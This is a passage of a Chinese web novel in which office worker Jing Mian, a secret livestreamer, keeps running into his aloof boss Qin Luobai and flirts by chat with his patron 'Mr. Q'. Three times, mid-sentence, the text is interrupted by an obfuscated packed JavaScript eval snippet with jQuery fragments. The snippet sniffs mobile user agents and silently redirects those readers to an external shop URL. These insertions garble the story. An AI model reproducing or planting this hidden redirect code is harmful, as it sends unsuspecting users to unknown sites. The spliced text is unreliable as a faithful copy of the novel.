疼痛渐剧,他只得离席,出包厢后急忙打开地图软件,去搜寻附近药店。 长廊幽深,望不到尽头,景眠按着腹部,每步都似踩在刀尖。 行至转角处,一道低沉男声传来:“深海那边也有意合作,你去安排。” 景眠一怔,这声音……有点儿熟悉。 抬头望去,竟是秦总,正站在吸烟区,与一位气质纨绔的公子哥交谈。 那人是顾氏集团的二公子顾衍,与公司长期合作,景眠曾在会议中见过。 “没问题,好处别忘了给我就成。”男人懒洋洋应了声,没正形地靠在窗边,指尖夹着的香烟明明灭灭,映着玩世不恭的脸。 秦总背对着景眠,身形挺拔,一身剪裁精良的黑色西装衬得肩线冷硬,侧脸在走廊幽暗的光线下显得格外锋利。 景眠下意识停住脚步,进退维谷。 8. 第8章 偶遇领导,作为下属当然要主动问好,但秦总正在和人谈事,景眠根本找不到合适的时机开口。 他站在走廊拐角,被一棵绿植挡了大半个身体,手指无意识地摩挲着叶子边缘,目光在秦总和顾衍的身上来回巡视,试图捕捉一丝可以插话的空隙,显得不那么突兀。 但这两个人,实在聊得太投入。 胃还在持续作痛,景眠等不了。 实在不行,他就当自己是个路人,直接走过去吧。 反正秦总也不太可能记得他是谁。 景眠正要迈步,顾衍忽然说了一句:“秦总,你这招真损。” 人在嗅到吃瓜气息的时候,总会本能地愣一下,景眠也不例外。 顾衍像是没注意到有人过来,嗤笑一声,吐出口烟圈,继续道:“让你们公司那个抠门经理请客来自己参股的酒店,这顿饭钱估计能让他肉疼半年。” 听闻,景眠眼底闪过一抹惊讶。 原来是秦总的主意。 他就说铁公鸡怎么可能会掉毛呢? 那秦总这招是为了什么?看不惯黄经理压榨员工?恐怕没那么好心吧。 一不小心偷听到“秘密”,景眠不敢多作停留,假装什么都没听见,快步朝前走。 不料,顾衍突然出声叫住了他,“等等。” 景眠脚步顿住,那一刻想找块豆腐撞死自己的心都有。 心虚抬起头,看见秦总转身,朝他看了过来,景眠全身的血液仿若凝固。 这个时候,他说自己啥都没听见,会有人信吗? 四目相对的瞬间,空气也好似静止了一般。 秦总的眸色深得惊人,眼神像一张无形的网,压迫感缓缓罩下,将景眠困在原地。 《论如何在两分钟内把自己作死》 景眠大脑一片空白,胃部的疼痛在此刻被一种更强烈的恐慌所取代。 怎么好巧不巧,偏被他给听见了? 更不巧的是,他还是黄经理的下属。 景眠懊恼不已,但面上只能强装镇定。 顾衍绕到面前,将景眠上下打量一番,嘴角勾起一抹坏笑,“当我没看见你?” 景眠不知道他要做什么,一颗心七上八下地乱跳,大眼睛里写满了无辜与茫然。 “秦哥,这是你们公司的员工吧?”顾衍食指勾着下巴,若有所思地眯起眸,“我好像见过。” 不是吧? 他这么一副平平无奇的模样,只是上台做了场汇报,就能被顾衍给记住? 而且,那都是上个月的事儿了。 或许是看出景眠心底的疑问,顾衍的指尖在他的镜框上点了两下,“你这眼镜丑得有点儿别致,我爷爷都不戴这么土的款式。” 像他这种走在时尚前沿的男人,对丑的事物零容忍,很难不记得。 景眠:“………” “看见领导,不打一声招呼就走,不把你们秦总放眼里啊。” 顾衍顺手摘下眼镜,还有话没说完,却在看见景眠那双漂亮的眼睛时,哽在了喉咙里。 这小男生,长得还挺好看。 就是可惜了,美商不够。 “秦哥。”一瞬的惊艳过后,顾衍回头看向秦洛白,挑拨离间开口:“你在员工眼里没什么威望啊!” 秦洛白低头在看手机,眉眼沉静,仿佛周遭一切与他无关。 压根没搭理顾衍。 他修长的手指快速在键盘敲了几下,发出一条消息。 紧接着,景眠的手机屏幕亮了。 只是,他双手背在身后,谁都不曾注意。 “你是个小哑巴吗?”说什么对方都不带应的,顾衍不免觉得好笑。 他还很少见到这么老实纯情的小男生,目光闪躲,耳尖微红,像只被逼到墙角不敢吱声的小动物。 顾衍把眼镜重新给人戴了回去。 景眠悄然松口气,以为这位纨绔少爷要放过他,可没想到他又开了口。 “不过话说回来,”顾衍话锋一转,语气带了点兴味,“你刚才听见了多少?” 景眠额角渗出细汗,已失去语言能力,不知该如何回应。 顾衍有种邪魅放荡的气质,像一尾游走在暗处的蛇,优雅而危险。 看他的眼神就能感觉到,这人有使不完的阴招,整死人不偿命的那种。 景眠猜测,顾衍根本不在意被听见多少内容,他只是忽然起了兴致,像猫盯上老鼠,想看看它挣扎的样子。 这些出身优渥的公子哥,向来把旁人的慌乱当消遣,以戏弄人为乐。 怕自己说多错多,景眠只能求助秦总,结果他刚要开口,秦总却像事不关己高高挂起一样,转身就走。 男人的背影,冷漠又无情。 看得人心凉了半截。 不是?早上是谁那么善良大义地帮员工解了围? 才刚粉上,就塌房了? 景眠表示很懵。 而顾衍看他呆萌呆萌的模样,好笑勾起了唇,“这么傻的员工,怎么进得了明越的?” 他顿觉无趣,给了景眠一记警告的眼神,跟着秦洛白一同往前走了。 景眠瞧着他们的背影,心生胆寒。 这样高不可攀、站在云端睥睨众生的大人物,但愿一辈子都不会和他们有交集。 原地缓了好一会儿,僵硬的四肢才渐渐复苏,血液恢复了正常流动。 指尖蜷缩几下,景眠点开手机,屏幕亮起的瞬间,映出他尚带恍惚的双眼。 Q先生在十几分钟前发来消息: 【下班了吗?】 盯着屏幕上的字,景眠的心底涌上一股很复杂的感觉。 他忍不住去想,现实中的Q先生,是否也如顾衍一般,仗着家世背景雄厚,眉眼倨傲,惯于戏弄人心,言语间带着不容置疑的掌控感,好像这世界本就该围着他转动。 不过,他是什么样的人跟他有什么关系呢? 网络本就是虚拟的,隔着屏幕,谁也不知道谁的真面目,他们在现实世界又不可能有交集。 【下班了哥哥】 【今天的心情不是很美丽】 【小熊流泪.jpg】 聪明如他,不放过任何一次扮可怜的机会。 对面回复很快,语气明显紧张:【发生什么事了?】 【肚子痛痛】 【小猫打滚.jpg】 【多喝热水】 景眠两眼一黑,什么直男发言? 或许是意识到自己的回复显得敷衍,Q先生很快又问:【看过医生了吗?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921613|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景眠这时已经走到大药房门口,玻璃映出他略显疲惫的轮廓。 【我去拿点药吃就好了。】 结果,在他这条消息发出去的十秒后,Q先生竟直接拨了电话过来! 心跳在刹那间失序,像被惊起的鸟群,扑棱棱地撞向胸腔。 景眠盯着屏幕上“接听”与“拒绝”两个选项,耳膜嗡嗡作响,世界仿佛被按下了静音键,只剩那铃声固执地回荡在神经末梢。 这个老Q!怎么突然打电话呀?害得他一点心理准备都没有!! 铃声仍在响,执拗而坚定。 这通电话像一道越界的光,照进景眠精心维持的虚拟安全区,令他无处遁形。 指尖悬在红键,想要按下去,又下不了决心。 手在隐隐发颤,景眠几乎拿不稳手机。 就在他心一横,手指移向绿键,决定不管三七二十一,先把电话接了的瞬间,铃声忽然停了。 屏幕暗下去,世界归于沉寂。 景眠长舒了口气,紧绷的肩膀缓缓松懈,心头却渐渐浮起一种奇异的空落。 他还挺想听听Q先生的声音是什么样子。 那样就可以猜到他年龄了吧。 【不想接电话可以】 【医院必须去】 对面又发来两句话,霸总气息直冲屏幕。 景眠感到棘手,纠结地皱起眉。 早知道就不告诉他了。 【好啦好啦知道了】 【听你的还不行嘛~哥哥】 景眠敷衍回复,却在看到对面的消息时,表情定住。 【我相信你,说到做到】 网聊而已,他怎么表现得这般真诚?相信一个素未谋面的陌生人? 不怕霸总耍流氓,就怕霸总恋爱脑。 哥们儿,你别是真的爱上我了吧。 景眠不自觉收紧臀部,忽然有点儿怕怕的。 - 在药房吃过胃药以后,景眠不想再回去聚餐,就给领导发了条消息,说他身体不适,先回家了。 路上,疼痛渐渐减轻了,景眠靠在出租车窗,百无聊赖翻着微博。 不一会儿,他收到楚扬从前线发回的报道:【景眠,你没在真是太可惜了!秦总过来讲了几句话,黄经理还安排大家抽了红包!!】 宛若当头一棒,景眠顷刻间坐正身子,盯着“红包”两个字看了又看,难以置信。 【最高抽了多少?】 【两千!!可惜不是我抽到的,我只抽了六百。】 楚扬还发过来一段十几秒钟的视频。 画面晃动,灯光微醺,秦洛白站在包厢中央,声音清晰地穿透喧闹的环境,“大家近日辛苦了……” 只讲了这么一句话,视频便戛然而止,看得出来,是偷偷录的,不敢光明正大地拍。 景眠对视频并不感兴趣,随便看了一眼就关上了。 他盯着两千,像盯着一座错过的金山,心中的眼泪决堤。 早知道今晚有红包,他就算胃痛到蜷缩成一团,也会咬着牙撑到最后。 资本家好不容易放点血,他还没赶上。 打工得来的钱,那叫等价换取报酬,只有天上掉馅饼的钱才叫赚。 一次胃痛,终身悔恨!! 9. 第9章 到家后,景眠像被抽了骨头般瘫在沙发上,整个人陷进柔软的布料里,连抬手的力气都没了。 这一天简直糟糕透顶,心口堵得难受。 手机却在这时亮个不停,楚扬像是故意的,又发来一张合影。 几个同事喜笑颜开,手里举着红包,还特意拼成一朵花的形状,红红火火地刺进他眼里。 景眠盯着那张图,仿佛能听见画面外的欢声笑语,心里的小人早已跪地,抱着膝盖默默抽泣,连手绢都哭湿了。 他深吸一口气,重重地敲字回复:【下次我没参加的活动就不必来告知了哈】 发完,还顺手点了个微笑表情,阴阳又怪气。 消息刚飞出去,小号突然“叮”了一声,弹出一条新消息:【医生怎么说?】 景眠瞳孔一缩,手一抖,手机差点滑进沙发缝里。 糟糕……Orzzz 霸总Q来查岗了。 咽了咽口水,景眠的后背窜上一层冷汗。 要是让老Q知道他根本没去医院,刚才回的消息纯粹是在敷衍,这种惯于掌控一切的霸总,会怎么收拾他? 是冷脸拉黑,还是用那种低沉又带压迫感的语气说“景眠,你让我很失望”? 光是想象,景眠都觉得呼吸紧了几分。 纠结半晌,景眠厚着脸皮回过去一句:【哥哥我好啦!已经不疼啦~】 刻意轻佻,避重就轻,巧妙地绕开了问题核心。 片刻后,对方幽幽回了一句:【也就是说,你没去医院?】 字句平淡,却透着不容欺瞒的压迫感,隔着屏幕都能感受到那股冷意,悄然蔓延。 这人的气场怎么这么强?简直和他们秦总如出一辙,压得人喘不过气。 他仿佛能透过屏幕,看见那位霸总Q靠在宽大的真皮座椅里,修长的手指漫不经心地摩挲着腕间的名表,深邃的眼眸里翻涌着审视与不悦,正透过这冰冷的字符,无声质问他的敷衍。 景眠心头一紧,泛起慌乱,思前想后,索性打开语音,用带着几分讨好意味的语调轻声说道:“哥哥,我知道你是关心我啦,我也真的很在意自己的身体呀!要是真有问题,肯定第一时间就去医院了,可这次就是小小的胃痛,吃点药就压下去了,不打紧的。” 他语气软糯,尾音微微上扬,刻意裹上一层乖巧,连呼吸都放轻了。 景眠很真诚,发了这么长的一段话。 霸总的怒气似乎被平息了,只回过来一个成语:【巧言令色】 景眠摸不准他这是啥意思,试探性追问:【哥哥还生气吗?】 【我没那么容易生气】 傲娇味扑面而来,带着几分不情愿的妥协。 景眠长舒一口气,瘫软在沙发上,心里那块悬着的大石头,终于落了地。 看来,这招“以柔克刚”算是奏效了。 - 所谓周一到周五吃苦,周六周日大补特补,总算熬到双休,景眠睡到中午十二点才起床,睁开眼先给自己点了一顿丰盛的外卖。 炸鸡拼盘、披萨、提拉米苏、杨枝甘露……全是高热量的“快乐炸弹”,专治一周的疲惫与emo。 外卖送达时,景眠早已冲完热水澡,整个人神清气爽。 他将餐盒一一摆正,像布置一场小型盛宴,随即点开追了半季的动漫,盘腿窝进沙发,开始举行属于自己的周末仪式。 就这么吃吃喝喝,时间不觉中来到了下午三点,景眠靠在沙发上,感觉晕碳了。 他迷迷糊糊地还想再睡一觉,突然间手机震动,周翊林那厮发来消息: 【亲爱的bro,雾岛今晚请了几位顶级男模站台,要来看看吗?】 【我一男的,去看男模?】 开什么国际玩笑。 景眠很果断地回了俩字:【不去!】 他今晚确实有出门喝酒的计划,但不想浪费在猎奇表演上,他更想找个格调高些的地方,喝杯好酒,看看城市夜色,顺便犒劳一下这具被工作榨干的身体。 听说城东新开了一家酒吧,氛围感拉满,调酒师还拿过国际奖项,值得一试。 【临渡去过吗?】他顺手问周翊林:【要不要一起?】 对方秒回一个卧槽:【你知道那地儿人均多少吗?】 【知道啊,我请客。】 【???】 【你中彩票还是卖肾了?】 【你就说去不去,哪来的那么多废话。】 【又不用我花钱,谁不去谁傻叉。】 景眠和周翊林约定好晚上七点在那家酒吧碰面,之后他便去化妆了。 - 时间刚过六点,景眠正弯着腰慢悠悠穿他的性感丝袜,周翊林发来消息说他出门了。 听到有人请客,倒是挺积极的。 景眠轻笑一声,将丝袜抚平至大腿,站起身整理好裙摆。 出门前,他站在镜子前细细打量自己。 今日的装扮看似低调,实则暗藏风情,一顶栗色波浪卷发自然垂落肩头,衬得脖颈修长,身上是前些天入手的长裙,明媚的湖蓝色,色调清冷,却在后背悄然镂空,露出一截白皙修长的脊线,妩媚中透着克制的张扬。 另外,妆容更是点睛之笔,眼线微挑,勾出几分野性,唇色偏酒红,整个人透着一股慵懒又迷人的气息。 景眠欣赏了自己一会儿,满意地颔首,才推门出去。 - 正值高峰期,路上车流如织,堵得寸步难行。 眼看快七点,距离酒吧还有段距离,周翊林的语音消息已如地雷般接连炸来: “你到哪了?还要多久?” “祖宗,你到了没?我快被门口保安当站街的轰走了!” 景眠按了按太阳穴,眉宇微蹙,心里默默吐槽:还不是因为你那张脸太像男模,站那儿不动都像在招揽生意。 他按下语音,“你就不能先进去坐着?” “里边的酒那么贵,你不来,我怎么好意思点。” 景眠轻笑了声,他倒是不知周翊林还会这么客气。 十多分钟后,出租车终于在“临渡”酒吧门前刹住。 夜幕已深,霓虹灯在玻璃幕墙上流淌,像一场无声的狂欢预告。 景眠推门下车,动作轻盈,裙摆随风微扬,车门“咔”地合上,身形窈窕,气质撩人,一出现,便如磁石般吸引来四周目光,连站在门口焦躁踱步的周翊林都不由自主地望了过来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921614|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他并不知道“大美女”是景眠,还踌躇着想过去搭讪,结果…… “大美女”直接走到他身旁,挽上了他的胳膊。 周翊林整个人石化,看清楚对方的脸,无语地压低嗓音道:“怎么是你啊?” 景眠故作撒娇地晃了晃他的胳膊,“快进去吧。” 旁边,一个男人投来羡慕的眼神,忍不住对周翊林感叹,“兄弟,好福气啊!” 周翊林扯出一个比哭还难看的笑,心里默默翻了个白眼。 好福气个鬼,掏出来比他的都大。 - 果然,贵有贵的道理。 “临渡”这家酒吧,从昏黄的灯光到空气中流淌的爵士旋律,无不透着一股精心雕琢的格调。 无论是氛围的营造,还是酒品的水准,都堪称顶尖。 景眠倚在高脚椅上,指尖轻叩杯沿,不知不觉已饮下两杯。 酒液清冽顺滑,后调微甜,却未让他迷失,今晚零点还要开播,他心里有数,只浅酌,不贪杯。 这儿的一杯酒动辄三位数,贵的甚至直逼四位数,随便点上几杯,一个月的工资便灰飞烟灭。 周翊林一边看着酒单上那令人咋舌的价格,一边偷偷打量景眠,心里直犯嘀咕:这人平日里精打细算,怎么今儿个突然这般阔绰? 察觉到身旁不解的目光,景眠放下酒杯,笑了一声,主动问:“你是不是很好奇?” 周翊林狐疑地摸着下巴,“你现在整个人都散发着一股暴发户的气息。” “………”还真被他给蒙对了。 他的确是一夜暴富了,打赏的收入已经提现到银行卡,看着七位数的余额,他终于懂了“小人乍富”是什么样的感觉。 当然,景眠做主播这事儿是对外保密的,绝对不能让生活中的朋友知道,那他也不能向周翊林解释什么。 “酒喝多了,我去个洗手间。”留下一抹神秘莫测的笑,景眠起身离开。 头顶的指示牌泛着幽光,他顺着光影前行,不多时便到了洗手间门外。 即使穿着女装,景眠也是十分坦然走进去,进了其中一间隔断,出来后径直走到洗手台前。 水流倾泻而下,景眠俯身洗手,水珠顺着他的指缝滑落,恍惚间,一道修长的身影悄然逼近,停驻在他身侧,未发一言。 关掉水龙头,景眠正欲转身,却险些撞上什么。 男人优越的肩颈线近在咫尺,惊得他心头一跳,本能地后退两步,景眠抬眼望去,却对上一张熟悉得令人心悸的侧脸。 秦、秦总? 那一刹那,景眠的大脑几乎是空白的。 对方像是感知到他注视的目光,缓缓侧首,眼看着目光即将交汇…… 啊啊啊!! 千万不能被秦总认出来!! 心底咆哮着,胸口处有一万只兔子上蹿下跳,景眠避无可避,只能在对方回眸的瞬息之间,咬牙演起醉态,身子一软,顺势跌入那温热的臂弯,揽上男人的胳膊,将脑袋轻轻倚向了他的肩头。 横竖就是不让秦总看到自己的脸。 待他伸手将他推开之际,就是他仓皇致歉、假装落荒而逃之时。 嗯,这个反应堪称天衣无缝。 10. 第10章 果然,事情的发展正如景眠所预料的那般,秦总这个高不可攀的男人,在他投怀送抱之后,本能伸出手,不耐烦地将他扯开了。 动作干脆利落,仿佛被什么脏东西给玷污了。 不过,这正合景眠的意。 他没有逗留,捂着嘴装作要吐出来,含糊不清地说了一声“抱歉”,之后便以火箭般的速度冲出洗手间,消失在了秦总的视线里。 跑啊跑,一直跑到拐弯处,景眠才停下来。 白皙的脸颊染上两抹绯红,他捂着胸口,气喘吁吁,回想刚才真是太惊险了。 看来高档酒吧还是不能常来,很容易就碰上领导。 景眠回去吧台,将刚才刺激的一幕向周翊林描述了番,他听后,反应平平,“被你领导认出来还怎么了?还不允许员工有穿女装的癖好了?” “万一他认为我心理异常,是个变态,把我开了怎么办?”景眠安抚地拍了拍受到惊吓的小心脏,“我可不能冒这个险。” “也是,你这家公司多少人挤破头都想挤进去,确实该好好珍惜。” 景眠点了一杯莫吉托,偷偷往后瞄了眼,生怕秦总会过来。 他心惊胆战的,总觉得不安,“此地不宜久留,喝完这杯我们就撤吧。” 周翊林看他这草木皆兵的样子,不禁觉得好笑,“你太高估直男的眼神了,就你这副浓妆艳抹的模样,光明正大地站在他面前,也未必认得出。” 景眠哼了一声,没接话。 “况且……”周翊林话锋一转,又说:“人家总裁都是坐包厢里等着服务生送酒过去,谁会来吧台喝啊?” 景眠表情微滞,的确有被说服,但想想自己只赚了那么一点钱,竟然和秦总在同一家酒吧消费,真是不知天高地厚。 吧台后,调酒师动作行云流水,雪克壶在他手中翻转,金属碰撞声清脆利落,冰块撞击杯壁的轻响如碎玉落盘,节奏分明,仿佛一场小型演出。 景眠托着下巴,百无聊赖地点开手机,习惯性戳进了微信小号。 这老Q到底还是小心眼,嘴上说着没那么爱生气,可这两天态度明显冷淡了许多。 今天是周六,明知道他不上班,也没来找他聊天。 思维莫名其妙地发散,意识到自己竟然在期待一个男人给他发消息,景眠浑身一激灵,赶紧猛灌一口酒,让自己清醒。 疯了吧? 陪榜一大哥聊天,本就是一场心照不宣的交换,他负责提供情绪价值,对方给予打赏。 你来我往,各取所需。 他若来找,那就热情奉陪,他若沉默,不正好乐得轻松? 景眠甩甩脑袋,将离谱的念头清除脑海,专心看调酒师表演。 刚才还没注意,眼下定睛一瞧,调酒小哥也长得蛮帅,那专注而优雅的姿态,无形中可以抚平人内心的躁动,令紧绷的神经不自觉地松弛下来。 景眠看着面前这人,忽然想到自己也见过不少帅哥,特别是在大学时候,追他的人就有长得像男爱豆的,他也没心动啊! 所以说…… 他的性取向是很正常的。 景小眠,请你不要再胡思乱想。 酒香氤氲,混合着威士忌的醇厚与柑橘类调酒的清冽,光是气息便足以令人微醺,一杯酒很快又见了底。 喝得差不多了,景眠看一眼时间,该走了。 周翊林的目光如猎手般扫过四周,低声问他:“没发现吗?刚才好几道视线都停在你身上。” 景眠摇摇头,没兴趣。 他买了单,对周翊林挥挥手,转身要走,不料突然有条胳膊伸过来,挡在了他面前。 “美女身材这么火辣?之前怎么没有见过?” 抬头撞进一双戏谑带笑的眸,景眠暗暗咬紧了牙关。 顾衍!又是你! 周翊林还真没说错,臭直男的眼神都不好。 景眠怕被顾衍认出来,不想与之纠缠,快步离开。 顾衍眯眸瞧着“她”的背影,发出一声冷笑。 还挺有脾气。 周翊林不知景眠和顾衍认识,望着这一幕,只当是又一场无果的搭讪,对景眠的冷淡毫不意外。 在这之前,当然也有人带着欣赏与试探,凑近搭讪的,景眠一律婉拒,眼尾微挑,不冷不热。 他既不失礼,又明明白白地划清界限,十足的“冰山美人”。 - 顾衍碰了一鼻子灰,回到包厢,长叹了一口气。 “真没想到,小爷我的魅力竟也有失效的一天。” 他大言不惭的话引来大家起哄: “有秦哥在,你还好意思说自己有魅力?” “跟秦哥比,你那点魅力可以忽略不计了。” “就是就是,秦哥站你旁边,你顶多算个背景板。” 顾衍气得咬牙,“你们这一帮狗腿!” 他一屁股坐到秦洛白身旁,挺直腰杆,强撑气势:“我不就比他矮一点?论颜值,我俩五五开吧?怎么就把我贬得一文不值了?” 众人闻言,纷纷憋笑,有人低头猛灌饮料,有人假装整理衣领,脸上的戏谑藏不住。 秦洛白那张脸那气质,可是世间少有,往那儿一坐,不说话都像在拍电影海报,谁好意思,跟他比? 顾衍气得灌了口酒,懒得搭理这帮混账。 他静坐了会儿,见秦洛白又拿出手机,按亮屏幕,不由唏嘘:“秦哥,这一晚上你都掏出手机好几回了,不会在等谁发消息吧?” 这状态,恋爱过的人都懂。 “有份重要文件。”秦洛白正襟危坐,随口一说。 当然,他也没说谎,的确有份跨国文件要传给他。 死要面子。 信你才有鬼。 腹诽着,顾衍换上一副恋爱大师的腔调:“其实吧,我们不一定要把自己陷入被动的局面,你想跟谁联系,那就直接去找她,说不定她也在等你发消息呢?” “滚远点。”秦洛白侧眸,冷冷一瞥。 戳中心事,恼羞成怒了。 啧。 顾衍摇摇头,点开自己微信,随便戳开一个美女头像:【宝贝,想你了。】 他连备注都没有,压根不知道对方是谁。 炫耀地把手机递到秦洛白面前,顾衍自信挑眉,“你看我。” 秦洛白扫了眼,恰好页面弹出回复:【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921615|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你哪位?】 “让我看什么?”秦洛白眼波微动,“看你笑话?” 顾衍反射性抽回手机,看到屏幕上的三个字,恼火地按了锁屏键,扔到桌子上。 靠!就这么一次滑铁卢,还让秦洛白看见了,毁他情圣的名声。 不过,顾衍的小丑行为的确对秦洛白造成了一定刺激。 发句消息而已,不过短短几个字,一秒钟都用不上。 【今晚开播吗】 废话,不播的话就提前请假了。 【出去玩了吗】 周六,她肯定不会在家宅一天。 秦洛白打完字又删除,转眼三分钟过去了,输入框依然空白。 烦闷地扯了扯领带,索性他对着面前的桌子拍了张照,随手发了过去。 越莫名其妙,越有话题。 显然,“小荔酱”正在看手机,消息秒回。 【哥哥拍腿给我看,是什么意思呀?】 秦洛白疑惑蹙眉,点开照片。 他的腿只露出膝盖的部分,重点难道不是桌上的酒? 还未回,消息紧跟着又跳了出来。 【可惜】 【镜头再往上一点点就好啦】 直白又小心翼翼的撩拨。 每个字都像仔细斟酌过,带着试探的意味。 包厢里依旧喧闹,秦洛白却像是进入到另外的世界。 指尖与屏幕之间窜过微妙的电流,腹中隐隐燥热。 秦洛白往酒里加了两块冰,仰头一饮而尽。 他一手摇晃着酒杯,一手敲字回复:【你想看什么】 不远处,顾衍眼角余光偷瞄着秦洛白,越看越觉得他可疑。 以往聚会,秦洛白就算话不多,也不会总看手机。 而眼下,他指尖频频滑动屏幕,神情专注得异乎寻常,眉梢微动,唇角边偶尔现出极淡的弧度,转瞬即逝。 那副平日里冷峻自持的模样,好像不复存在。 【想看哥哥的喉结~】 对面的回复完全出乎意料。 消息弹出的刹那,心尖好似被烫了下。 秦洛白指尖微敛,不动声色地抵住唇边,低咳一声,动作轻缓却刻意,目光如风掠过四周,看似漫不经心地巡视,实则警惕着每一道可能落在他身上的视线。 凝眸盯着屏幕,秦洛白神情故作严肃,不知情的或许以为他在审阅重要文件,可实际上,泛红的耳根早已在无形之中出卖了他自己。 喉……喉结有什么好看的? 指尖无意识地勾住领带,秦洛白缓缓扯了两下,动作克制却带着一丝隐忍的躁动。 领口每松开一寸,呼吸便跟着停滞,仿佛卸下了紧缚的窒息感,同时间又压抑住更深的悸动。 包厢光线昏暗,深灰丝绒的墙面上,勾勒出模糊的轮廓。 沉默数秒,秦洛白打开了几乎没怎么用过的前置摄像。 上次打开,还是拍腹肌。 性感的喉结急促滚动,锁骨在微敞的领口里若隐若现,他慵懒靠在沙发上,看似很随意地拿着手机,头转向一边,脖颈微微扬起,按下拍摄。 想看,当然要满足。 11.第11章 画面定格,屏幕的冷光映着男人锋利的下颌线,往下看,喉结凸起的弧度在光影勾勒中显得格外清晰,性感致命。 拍得还算满意,秦洛白轻敲两下屏幕,准备将照片发出去。 而就在那一瞬,顾衍像峨眉山猴子似的从沙发另一边朝他扑过来,“我靠!秦哥,你不会在自拍吧?这姿势我熟啊!” 顾衍高亢的嗓音如惊雷乍响,撕裂了包厢的喧闹。 所有人的目光齐刷刷聚焦在秦洛白身上,谈笑戛然而止,连碰杯的动作也顿在半空。 全场鸦雀无声,秦洛白还举着手机。 围观霸总自拍ing…… 秦洛白无声锁屏,犀利的冷光笔直扫向顾衍,像是一把刀,隔空就能杀人。 完了! 顾衍心头一紧,浑身汗毛倒竖,脑中只剩一个念头——我踏马要死翘翘了! 可没想到,秦洛白并未发怒,反而和颜悦色轻笑了声,冲他勾了勾手指,示意他过去。 “过来,给你看样东西。”秦洛白晃了晃手机。 顾衍以为他要给自己看照片,咽了口唾沫,双腿像灌了铅一样挪过去,心里直打鼓。 这反常的温柔,怎么比直接发火还让人腿软? “秦……秦哥,我就开个玩笑,您别当真啊。”顾衍讪笑着,脑袋凑过去。 秦洛白手腕一翻,手机屏幕灵巧地避开了他的视线,转而点开了相册里另一段视频。 那是一段录像,画面里,顾衍喝断了片,正抱着马桶吐得天昏地暗,嘴里还含糊不清地喊着一个名字。 “小……小雅……你别走……” 顾衍的脸“唰”地一下就白了。 这到底啥时候拍的?他怎么不知道? 秦洛白慢条斯理地调高音量,那段带着哭腔的狼嚎在寂静的包厢里清晰回荡,像一记记耳光抽在顾衍的脸上,其他人闻声聚拢过来,好奇张望。 “顾少爷,什么宝贝视频藏着掖着?” “去你的,不是我!” “这声音,啧,不是你还能是谁?” 顾衍慌忙伸手挡住屏幕,手臂张开如护崽的母鸡,死死拦住众人视线。 他谈恋爱从来没痛哭流涕过,就那么一次,还被秦洛白给拍下来了。 关键是已经过去大半年了,秦洛白从未声张过,直到今天才拿出来。 这人的心思真是阴沉得可怕,谁要惹了他,绝对吃不了兜着走。 秦洛白侧过头,看着顾衍惨白的脸,笑意终于带上了点真实的温度。 “顾少爷,拍得还满意吗?”他满脸写着腹黑,轻飘飘地问:“要不发到我们合作的大群里,让你们公司那些董事也见识下你深情的一面?” 顾衍欲哭无泪,刚才那股子看热闹的劲头早就飞到了九霄云外,只剩下满心的悔恨。 “秦哥!亲哥!我错了!我嘴贱!我给您当牛做马!您千万别发啊!”顾衍恨不得当场给秦洛白磕一个。 看着他这副怂样,秦洛白把手机收回来,恢复了那副云淡风轻的模样。 “下次再惹我,就不是这么温柔的惩罚了。” 话落,秦洛白抬眼,目光扫过众人,语气恢复了一贯的清冷,“都看够了?继续玩你们的。” 一句话,众人立即散开,继续喝酒谈笑。 秦洛白拿起放在桌上的车钥匙,“我先走了。” 望着他离开的背影,顾衍暗暗咬牙。 为什么,为什么他就拍不到秦洛白出糗的视频? 老天爷,请给我一个机会吧!! - 收到Q先生的喉结照,已经是一个小时后了。 景眠点开照片,本能地深吸了一口气。 昏暗的光线如薄纱笼罩,男人慵懒地倚在柔软的沙发里,身形看不真切,却更添几分朦胧的氛围,诱使人的目光跟随流畅的下颌线,不自觉地一路滑向颈间,锁骨深陷如沟,仿佛能养一条小鱼。 而那喉结,在光影的勾勒下凸起得恰到好处,随着并不存在的吞咽动作微微滚动,透出无声的性感,衬衫领口微敞,往下延伸,是若隐若现的胸肌轮廓,线条紧实,起伏有力,藏在布料之下,无声散发蛊惑的气息。 景眠的视线缓缓下移,盯着那片被光影与布料悄悄遮掩的胸膛,心跳不自觉加快。 他脸颊微热,脑海中不受控制地浮现出一个念头: 胸看起来好大,好像蛮有劲儿的哦! 想法一冲出来,景眠整个人怔住。 意识到自己忘记了男人的身份,对着同性犯花痴,景眠赶紧锁屏,冲进洗手间打开了水龙头。 他狠狠抄起一捧冰凉的水泼向脸庞,水珠顺着下颌滴落,试图浇灭脸上烧起的热意,可怎么也冲散那股羞耻。 